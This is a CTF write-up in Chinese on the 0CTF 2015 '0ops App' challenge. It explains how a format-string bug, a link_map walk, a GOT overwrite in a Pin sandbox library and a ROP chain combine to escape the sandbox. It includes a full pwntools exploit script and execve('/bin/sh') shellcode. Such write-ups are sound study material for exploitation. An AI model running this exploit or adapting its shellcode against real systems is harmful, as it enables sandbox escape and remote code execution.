这道题提供了一个sandbox.so,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/和https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。
具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:
$ pin.sh -injection child -t sandbox.so -- ./login由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf。
如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system,再修改返回地址。但这道题的sandbox.so有进行保护。下面是反编译得到的一部分伪代码:
function syscall_check(unsigned int, LEVEL_VM::CONTEXT*, LEVEL_CORE::SYSCALL_STANDARD, void*) {
r13 = arg3;
LODWORD(r12) = LODWORD(arg0);
LODWORD(rbp) = LODWORD(arg2);
rbx = arg1;
rsp = rsp - 0x8;
rax = LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx, LODWORD(arg2));
if (rax != 0x3) { //close
if (CPU_FLAGS & BE) { //read, write, open
if ((rax == 0x3c) || (rax == 0xe7)) { //exit, exit_group
return rax;
}
else {
if (rax == 0x25) { //alarm
if (*(int8_t *)activated != 0x0) {
rax = exit(0xffffffff);
}
else {
*(int8_t *)activated = 0x1;
rax = mprotect(activated, 0x1000, 0x1);
if (LODWORD(rax) != 0x0) {
rax = exit(0xffffffff);
}
else {
return rax;
}
}
}
else {
rax = activated;
if (*(int8_t *)rax == 0x0) {
return rax;
}
else {
rax = exit(0xffffffff);
}
}
}
}
else {
if (rax > 0x1) {
rax = activated;
if (*(int8_t *)rax != 0x0) {
rax = open_check(LODWORD(r12), rbx, LODWORD(rbp), r13);
if (LOBYTE(rax) == 0x0) {
rax = exit(0xffffffff);
}
else {
return rax;
}
}
else {
return rax;
}
}
else {
return rax;
}
}
}
else {
return rax;
}
return rax;
}可以看到,如果有调用过alarm,那么能够进行的syscall就只有read, write, open了。而不幸的是,login在运行时有调用过alarm。所以,直接修改login的执行流程来调用system或execve是不可能的了,我们只能通过修改sandbox.so的执行流程来调用execve。具体地,如果把sandbox.so里的exit@got修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so里执行exit,即执行我们的shellcode了。
特别的,虽然我的系统开了ASLR,但是实验发现,pinbin每次都是被加载到了固定的地址,而pinbin是有DT_DEBUG信息的:
$ readelf -d /opt/pin/intel64/bin/pinbin
Dynamic section at offset 0x87e3e0 contains 26 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libdl.so.2]
0x0000000000000001 (NEEDED) Shared library: [libstdc++.so.6]
0x0000000000000001 (NEEDED) Shared library: [libm.so.6]
0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000010 (SYMBOLIC) 0x0
0x000000000000000c (INIT) 0x3041b4488
0x000000000000000d (FINI) 0x3045fa278
0x0000000000000004 (HASH) 0x304001060
0x0000000000000005 (STRTAB) 0x304039fb0
0x0000000000000006 (SYMTAB) 0x30400c980
0x000000000000000a (STRSZ) 392376 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
...结合之前关于DT_DEBUG的文章,我们可以遍历来获得sandbox.so在内存中的地址,进而得到sandbox.so里的exit@got的地址。具体地:
$ readelf -lW /opt/pin/intel64/bin/pinbin
Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
INTERP 0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
LOAD 0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW 0x200000
DYNAMIC 0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW 0x8
...我们知道.dynamic会在0x304a7e3e0。所以通过不断地printf打印内存信息,遍历link_map,获得sandbox.so的地址。
此外,检查maps发现,内存中有rwx的区域的,其地址也是每次不变的,应该是pinbin引入的。所以我们可以先ROP,将shellcode写到那个rwx的区域;并修改sandbox.so中的exit@got指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret把几个寄存器的值设好,再调用login中的一个类似于readline的函数,来实现写shellcode到指定位置。
下面是具体的代码,有些乱……
#!/usr/bin/env python2
from pwn import *
import sys
if __name__ == '__main__' :
context(arch='amd64', os='linux')
ip = "127.0.0.1"
#ip = sys.argv[1]
conn = remote(ip, 55555)
f = open("pl", "wb")
def send(data):
conn.send(data)
f.write(data)
payload = "guest\nguest123\n2\n" + "A"*256 + "4\n" + "%1$p,%3$p\n1234\n"
send(payload)
conn.recvuntil("Password: ")
conn.recvuntil("Password: ")
addrs = (conn.recvline(keepends=False).split(" ")[0]).split(',')
base = int(addrs[0], 16)-0x1490
stack = int(addrs[1], 16)
retAddr = stack - 0x8
print "ret addr is %s" % hex(retAddr)
print "base is %s" % hex(base)
addr0 = (base+0x1053) & 0xffff
def readStr(where):
username = "%%%dx%%40$hn--%%41$s--" % addr0
password = p64(retAddr) + p64(where)
send(username+'\n'+password+'\n')
conn.recvuntil('--')
return conn.recvuntil('--')[:-2]
def read8(where):
content = ''
while len(content) < 8:
res = readStr(where)
content += (res + '\x00')
where += (len(res)+1)
return u64(content[:8].ljust(8,'\x00'))
#iterate link_map to find the address of lib
def findBase(dynamic, lib):
r_debug = read8(dynamic)
print 'r_debug is at %s' % hex(r_debug)
link_map = read8(r_debug+8)
print 'link_map is at %s' % hex(link_map)
while True:
l_name = read8(link_map+8)
l_name_str = readStr(l_name)
if l_name_str.endswith(lib):
l_addr = read8(link_map)
print '%s is at %s' % (l_name_str, hex(l_addr))
break
link_map = read8(link_map+24)
return l_addr
pinDynamic = 0x304a7e3e0
sandboxBase = findBase(pinDynamic+13*16+8, 'sandbox.so')
def write8(where, what):
writes = {}
writes[where] = what & 0xffff
writes[where + 2] = (what >> 16) & 0xffff
writes[where + 4] = (what >> 32) & 0xffff
writes[where + 6] = (what >> 48) & 0xffff
writes[retAddr] = addr0
printed = 0
username = ''
password = ''
index = 40
for where, what in sorted(writes.items(), key=operator.itemgetter(1)):
delta = (what - printed) & 0xffff
if delta > 0:
if delta < 8:
username += 'A' * delta
else:
username += '%' + str(delta) + 'x'
username += '%' + str(index) + '$hn'
index += 1
password += p64(where)
printed += delta
send(username+'\n'+password+'\n')
'''
6A25 push byte +0x25
58 pop rax
0F05 syscall
'''
# call alarm to invoke exit in sandbox
shellcode1 = '6a25580f05'.decode('hex')
'''
6A3B push byte +0x3b
58 pop rax
99 cdq
52 push rdx
EB06 jmp short 0xd
5F pop rdi
4831F6 xor rsi,rsi
0F05 syscall
E8F5FFFFFF call qword 0x7
2F62696E2F7368 "/bin/sh"
'''
shellcode2 = '6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')
rwx = 0x0304aa8080
exitGotSandbox = sandboxBase + 0xa4e440
#write shellcode address to exit@got in sandbox
write8(exitGotSandbox, rwx+len(shellcode1))
verify = read8(exitGotSandbox)
print 'verify: %s' % hex(verify)
# 0x1363 : pop rdi ; ret
# 0x1361 : pop rsi ; pop r15 ; ret
readline = base+0xcb5
#rop: read shellcode to rwx area
rop = p64(base+0x1363) + p64(rwx) + p64(base+0x1361) + p64(0x1234) + p64(0) + p64(readline) + p64(rwx)
pop5ret = base + 0x135b
username = ("%%%dx%%10$hn--" % (pop5ret & 0xffff)).ljust(16) + p64(retAddr) + rop
send(username + '\n1234\n')
conn.recvuntil('--')
send(shellcode1+shellcode2+'\n')
conn.interactive()
exit(0)write8那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。